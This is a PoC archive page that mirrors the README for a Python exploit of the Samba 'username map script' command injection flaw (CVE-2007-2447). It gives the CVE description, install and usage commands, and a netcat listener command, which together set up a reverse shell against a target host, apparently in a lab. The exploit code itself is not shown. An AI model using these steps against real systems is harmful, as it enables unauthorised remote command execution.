Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source
Associated Vulnerability
Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
Readme
# CVE-2007-2447 - username map script

"The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management."



## Exploit

### Installation:

**[*]** This exploit requires Python 3.7 or higher

``` 
python3 -m pip install pysmb 
```

### Usage:

```
$ ./CVE-2007-2447.py --rhost 10.10.10.3 --lhost 10.10.14.10 --lport 4444 --rport 445
```
* ```--rhost``` -- Remote Host
* ```--lhost``` -- Local Host
* ```--lport``` -- Local Port
* ```--rport``` -- Remote Port **[*]** _Optional. default=445_

Do not forget to start your listener:

```
nc -lvnp 4444
```

## PoC

![image](https://user-images.githubusercontent.com/80174242/110221372-e9226500-7ec3-11eb-850b-77e6c7711707.png)

File Snapshot

[4.0K] /data/pocs/b4e57c5014e36bb6ea7bf46f2c6ad00aaea9da8d ├── [1.1K] CVE-2007-2447.py └── [1.0K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →